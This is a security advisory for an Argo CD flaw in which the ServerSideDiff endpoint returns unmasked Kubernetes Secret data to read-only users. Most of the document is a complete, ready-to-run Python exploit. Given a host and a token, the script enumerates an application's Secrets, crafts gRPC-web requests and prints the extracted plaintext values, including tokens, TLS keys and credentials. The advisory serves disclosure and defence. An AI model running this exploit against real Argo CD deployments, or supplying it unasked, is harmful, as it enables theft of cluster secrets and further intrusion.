CVE-2026-42880: ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

// server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), })

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) }

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

PoC #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC

Usage: python3 poc.py <host> <token> <app> <project>

Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """

import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict

def encodevarint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out)

def encodestr(field, val): tag = (field << 3) | 2 raw = val.encode() return encodevarint(tag) + encodevarint(len(raw)) + raw

def encodebytes(field, val): tag = (field << 3) | 2 return encodevarint(tag) + encodevarint(len(val)) + val

def encodebool(field, val): tag = (field << 3) | 0 return encodevarint(tag) + encodevarint(1 if val else 0)

def decodevarint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos

def decodefields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decodevarint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decodevarint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decodevarint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields)

-- grpc-web framing --

def grpcframe(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload

def decodegrpcframes(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames

-- http helpers --

def makeconn(host): ctx = ssl.createdefaultcontext() ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)

def restget(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None

def grpcpost(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpcframe(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decodegrpcframes(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response"

-- main --

def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1)

host, token, appname, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = makeconn(host)

# step 1: list managed resources for the app, find secrets print("[] Fetching managed resources for %s/%s ..." % (project, appname)) data, err = restget(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(appname), token) if err: print("[-] Failed: %s" % err); sys.exit(1)

secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live))

if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets))

# step 2: call ServerSideDiff for each secret totalextracted = 0 for sname, sns, stype, livejson in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype}

# copy required annotations from live state for SA tokens if livejson and livejson != "null": try: liveannots = json.loads(livejson).get("metadata", {}).get("annotations", {}) k8sannots = {k: v for k, v in liveannots.items() if k.startswith("kubernetes.io/")} if k8sannots: target["metadata"]["annotations"] = k8sannots except Exception: pass

# for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}

# encode the grpc request lr = b"" lr += encodestr(2, "Secret") # kind lr += encodestr(3, sns) # namespace lr += encodestr(4, sname) # name if livejson: lr += encodestr(6, livejson) # liveState lr += encodebool(12, True) # modified

query = encodestr(1, appname) query += encodestr(3, project) query += encodebytes(4, lr) query += encodestr(5, json.dumps(target))

# reconnect for each call (simple, no pool needed for poc) try: conn = makeconn(host) respdata, err = grpcpost(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue

# parse response respfields = decodefields(respdata) for itembytes in respfields.get(1, []): if not isinstance(itembytes, bytes): continue ifields = decodefields(itembytes)

# field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secretdata = obj.get("data", {}) if not secretdata: continue

# check for real (non-masked) values realkeys = {} for k, v in secretdata.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) realkeys[k] = text

if realkeys: totalextracted += 1 print("\n [] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(realkeys), len(secretdata))) for k in sorted(realkeys): v = realkeys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v))

print("\n[] Done. %d secrets with real values extracted." % totalextracted)

if name == "main": main()

Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.